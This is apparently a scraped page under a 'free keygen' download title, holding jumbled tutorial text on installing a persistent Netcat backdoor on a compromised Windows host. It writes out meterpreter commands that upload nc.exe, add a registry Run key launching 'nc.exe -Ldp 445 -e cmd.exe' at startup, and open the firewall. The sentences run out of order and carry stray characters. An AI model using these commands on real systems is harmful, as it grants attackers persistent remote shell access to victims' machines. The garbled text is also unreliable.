Netcat windows download free keygen#
We open up an interactive command prompt and use the netsh command to make the changes as it is far less error-prone than altering the registry directly. Next, we need to alter the system to allow remote connections through the firewall to our Netcat backdoor. Key: HKLM\software\microsoft\windows\currentversion\Runĭata: C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe Meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 445 -e cmd.exe' meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\runĮnumerating: HKLM\software\microsoft\windows\currentversion\run
We do this by editing the key ‘HKLM\software\microsoft\windows\currentversion\run’. uploaded : /usr/share/windows-binaries/nc.exe -> C:\windows\system32nc.exeĪfterwards, we work with the registry to have netcat execute on start up and listen on port 445. uploading : /usr/share/windows-binaries/nc.exe -> C:\windows\system32 meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 This includes changes to the system registry and firewall.įirst, we must upload a copy of Netcat to the remote system. In this example, instead of looking up information on the remote system, we will be installing a Netcat backdoor.